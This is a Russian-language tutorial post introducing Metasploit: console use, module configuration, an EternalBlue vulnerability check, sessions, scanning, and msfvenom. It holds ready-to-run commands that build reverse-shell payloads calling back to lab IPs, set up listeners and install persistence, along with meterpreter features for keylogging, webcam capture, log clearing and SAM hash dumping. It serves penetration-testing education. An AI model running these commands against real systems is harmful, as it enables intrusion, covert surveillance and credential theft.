Metasploit Framework 101 by cherepawwka
Сегодня мы чуть подробнее познакомимся с фрэймворком Metasploit, его консолью и инструментом msfvenom, а также посмотрим на него в действии.
Примечание: статья несёт исключительно информативный характер, весь материал привёден в учебных целях. Использование описанных в статье техник в злонамеренных целях преследуется по закону.
Знакомство с Metasploit
Metasploit Framework — это мощнейший инструмент, который помогает специалистам тестированию на проникновение исследовать и эксплуатировать уязвимости в сетях и на серверах, а также закрепляться на скомпрометированных хостах и использовать множественные техники постэксплуатации, предоставляемые фрэймворком.
Metasploit — проект с открытым исходным кодом, его можно легко настроить и использовать на большинстве операционных систем. Официальный репозиторий проекта: https://github.com/rapid7/metasploit-framework
Metasploit предустановлен в Kali Linux, и в этой статье я буду использовать машину с этой ОС для демонстрации основных возможностей продукта.
WhereIs
Файлы фрэймворка в Kali можно найти в следующей директории:
/usr/share/metasploit-framework/
Модули фрэймворка расположены тут:
/opt/metasploit*/modules/ /usr/share/metasploit-framework/modules/
Примечание: просмотреть содержимое директорий в виде дерева можно с использованием утилиты tree: tree -L 2 auxiliary
, где 2 — глубина (1 — аналогично ls -l
, 2 — показывает подкаталоги, и т.д.), а auxiliary
— имя папки.
Типы нагрузок: tree -L 1 payloads
- adapters;
- singles (самостоятельные нагрузки, выполняются в один этап);
- stagers (загрузчики);
- stages (второй этап загрузки, загружаемый stager'ами).
В Metasploit есть тонкий способ идентификации самостоятельных пэйлодов и staged-вариантов:
Обе нагрузки — reverse_shell для Windows. Первый пэйлод представляет собой встроенную (или одиночную, single) полезную нагрузку, на что указывает символ _
между «shell» и «reverse». Второй пэйлод — поэтапная (staged) полезная нагрузка, на что указывает символ /
между «shell» и «reverse».
Staged Payloads загружаются на машину при помощи Stager.
Запуск консоли и работа с модулями
Консоль запускается при помощи команды: msfconsole
Находясь в самой консоли, можно использовать все команды Linux системы: cat, ls, pwd, clear и т.д.:
Выбрать модуль: use exploit/windows/smb/ms17_010_eternalblue
Если отсюда использовать show payloads
, то MSF покажет только те нагрузки, которые можно использовать с текущим модулем.
Выйти из текущего модуля: back
.
Получить информацию о модуле можно следующими способами:
msf6 exploit(windows/smb/ms17_010_eternalblue) > info
— из контекста выбранного модуля;
msf6 > info exploit/windows/smb/ms17_010_eternalblue
— из консоли напрямую.
msf6 > search ms17-010 msf6 > search type:auxiliary telnet
msf6 exploit(windows/smb/ms17_010_eternalblue) > — context prompt (выбран модуль или, по-другому, установлен контекст);
msf6 > — MSF prompt, контекст не установлен, поэтому здесь нельзя использовать контекстно-зависимые команды для установки параметров и запуска модулей.
Конфигурация модуля
Установка параметров осуществляется при помощи директив set и setg: set
(в рамках контекста) и setg
(для всех модулей). Просмотреть значения установленных параметров можно при помощи команды show options
.
На примере параметра RHOST (remote host):
set RHOSTS 10.10.165.39 set RHOSTS 10.10.165.0/24 set RHOSTS 10.10.165.1-10.10.165.15 set RHOSTS file:/path/of/the/target_file.txt setg RHOSTS 10.10.165.39 ...
Сборс значений параметров осуществляется через unset
или unsetg
:
unset RHOSTS unset all unsetg RHOSTS ...
В списке параметров иногда можно заметить любопытный параметр SESSION: каждое соединение, установленное с целевой системой с помощью Metasploit, будет иметь идентификатор сеанса. Используется с модулями пост-эксплуатации, которые будут подключаться к целевой системе, используя существующее соединение.
Запуск модуля
Запуск модулей осуществляется при помощи двух команд: exploit
или run
.
Команду exploit
можно использовать без каких-либо параметров или с параметром «-z
». Команда exploit -z
запустит сессию в бэкграунде, как только она откроется.
Некоторые эксплойты поддерживают команду check
для проверки, уязвима ли цель. Например, так выглядит использование команды check
для модуля exploit(windows/smb/ms17_010_eternalblue):
msf6 exploit(windows/smb/ms17_010_eternalblue) > check [*] 10.10.106.64:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.10.106.64:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.10.106.64:445 - Scanned 1 of 1 hosts (100% complete) [+] 10.10.106.64:445 - The target is vulnerable.
Сессии
В случае успешной эксплуатации уязвимости у нас открывается сессия:
meterpreter >
Для того, чтобы перевести сессию в фон, используется команда background
или сочетание клавиш CTRL+Z
.
Для просмотра открытых сессий используется команда sessions
. Команду можно использовать из msfconsole prompt или любого контекста.
У каждой сессии есть свой ID. Для взаимодействия с открытой сессией используется команда sessions -i ID
, например:
sessions -i 2 — открывает сессию с ID=2 из результата команды sessions. sessions -i -1 — открывает последнюю созданную сессию
Scan with MetaSploit
Напоследок рассмотрим вспомогательные модули, позволяющие сканировать популярные протоколы.
Команда search portscan
показывает доступные модули для сканирования портов и различных сервисов:
Но это далеко не все варианты сканирований. Как пример, вот модуль идентификации служб UDP:
auxiliary(scanner/discovery/udp_sweep)
А вот несколько модулей для SMB-сканирования:
auxiliary(scanner/smb/smb_version) auxiliary(scanner/smb/smb_enumshares) auxiliary(scanner/smb/smb_login) — им можно брутить SMB
MSFVenom
Metasploit позволяет не только пробивать внешний периметр и использовать заранее подготовленные эксплойты, но также и даёт возможность, например, использовать самостоятельный .exe файл для апгрейда шелла до meterpreter (наиболее стабильный и предпочтительный шелл для ОС Windows). В состав MSF входит утилита msfvenom, которая реализует создание кастомных полезных нагрузок, совместимых с MSF.
Увидеть весь список полезных нагрузок можно следующей командой:
msfvenom -l payloads
Вывод списка поддерживаемых форматов:
msfvenom --list formats
Кодирование нагрузки возможно при помощи опции -e
:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
eval(base64_decode(Lyo8P3BocCA.....));
В данном случае результат в raw формате, закодированный в base64.
Ниже приведу несколько полезных нагрузок (stager, stageless) для разных ОС
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
Handler
Ловить шелл, полученный при помощи созданной msfvenom нагрузки, можно путём листенера exploit/multi/handler, входящего в состав MSF. В отличие от nc, handler позволит нам ловить и сложные шеллы, например, упомянутый ранее meterpreter.
Давайте рассмотрим пример. Генерация полезной нагрузки в файл:
msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php
Для ловли обратной оболочки будем использовать мульти-хэндлер:
use exploit/multi/handler set payload php/reverse_php msf6 exploit(multi/handler) > set lhost 10.0.2.19 msf6 exploit(multi/handler) > set lport 7777 run
Рассмотрим пример с Windows
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.100.74 LPORT=4444 -f exe -o rev_shell.exe
msfconsole -x "use exploit/multi/handler; set payload windows/x64/shell/reverse_tcp; set LHOST 192.168.100.74; set LPORT 4444; exploit"
Но в данном случае у нас очень "слабая" оболочка, не раскрывающая всех прелестей MSF. Поэтому загрейдим шелл до meterpreter!
Meterpreter
Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации.
Поднять сеанс до meterpreter можно следующими способами:
use post/multi/manage/shell_to_meterpreter set SESSION 1 exploit # or sessions -u 1
Заходим в полученную сессию и пользуемся всеми возможностями meterpreter!
Команды meterpreter
background
| делает фоновым текущий сеанс;
exit
| завершает сеанс Meterpreter;
guid
| позволяет получить GUID сеанса;
help
| отображает меню справки;
info
| отображает информацию о модуле Post (модули постэксплуатации);
irb
| открывает интерактивную оболочку Ruby в текущем сеансе;
load
| загружает одно или несколько расширений Meterpreter;
migrate
| позволяет перенести Meterpreter в другой процесс;
run
| выполняет скрипт Meterpreter или модуль Post;
sessions
| позволяет быстро переключиться на другой сеанс.
cd
| позволяет изменить рабочий каталог;
ls
, dir
| отображает список файлов в текущем каталоге;
pwd
| печатает путь рабочего каталога;
edit
| позволяет редактировать файлы;
cat
| покажет содержимое файла на экране;
search
| будет искать файлы по маскам или названию;
upload
| позволяет загрузить файл или каталог с атакующей машины на атакуемую;
download
| позволяет загрузить файл или каталог с атакуемой машины.
arp
| отображает кэш хоста ARP (протокол разрешения адресов);
ifconfig
| отображает сетевые интерфейсы, доступные в целевой системе;
netstat
| отображает сетевые подключения;
portfwd
| перенаправляет локальный порт на удаленную службу;
route
| позволяет просматривать и изменять таблицу маршрутизации.
clearev
| очищает журналы событий;
execute
| выполняет единичную команду в системе;
getpid
| показывает текущий идентификатор процесса;
getuid
| показывает пользователя, под которым работает нагрузка;
kill
| завершает процесс по PID;
pkill
| завершает процесс по имени;
ps
| отображает список запущенных процессов;
reboot
| перезагружает удаленный компьютер;
shell
| предоставляет системную командную оболочку;
shutdown
| выключает атакуемый компьютер;
sysinfo
| получает информацию об удаленной системе.
idletime
| возвращает количество секунд бездействия удаленного пользователя;
keyscan_dump
| дампит буфер нажатий клавиш;
keyscan_start
| начинает захват нажатий клавиш (кейлоггинг);
keyscan_stop
| прекращает захват нажатий клавиш;
screenshare
| позволяет наблюдать за рабочим столом удаленного пользователя в режиме реального времени;
screenshot
| делает снимок экрана интерактивного рабочего стола;
record_mic
| записывает звук с микрофона по умолчанию в течение X секунд;
webcam_chat
| начинает видеочат;
webcam_list
| выводит список веб-камер;
webcam_snap
| делает снимок с указанной веб-камеры;
webcam_stream
| воспроизводит видеопоток с указанной веб-камеры;
getsystem
| осуществляет попытки повысить привилегии до привилегий системы (отлично справляется с SeImpersonatePrivilege);
hashdump
| позволяет осуществить дамп содержимого базы данных SAM.
Закрепление на машине
В случае, если мы получили шелл meterpreter на машине, у нас открывается возможность закрепиться:
use exploit/windows/local/persistence set session 1 run
run exploit/windows/local/persistence -U -i 5 -p 443 -r 192.168.1.71
-A
| автоматически запускает соответствующий exploit/multi/handler для подключения к агенту;
-L
| указывает местоположение на целевом хосте для записи полезных данных (по умолчанию %TEMP%);
-P
| определяет используемую полезная нагрузка, по умолчанию — windows/meterpreter/reverse_tcp;
-S
| автоматически запускает агент при загрузке как службу (с системными привилегиями);
-T
| альтернативный исполняемый шаблон для использования;
-U
| автоматически запускает агент при входе пользователя в систему;
-X
| автоматически запускает агент при загрузке системы;
-i
| интервал в секундах между каждой попыткой подключения;
-p
| порт, который прослушивает система, на которой запущен Metasploit;
-r
| IP-адрес системы, на которой работает Metasploit, прослушивающей обратное соединение.
Mimikatz in Meterpreter
Ну и напоследок нельзя не поговорить о Mimikatz, присутствующем как модуль постэксплуатации в MSF:
load kiwi
Также мы запросто можем осуществить DCSync:
На этом мы закончим начальное знакомство с фреймворком. Это далеко не весь функционал ПО, однако, я оставлю его вам на самостоятельное изучение.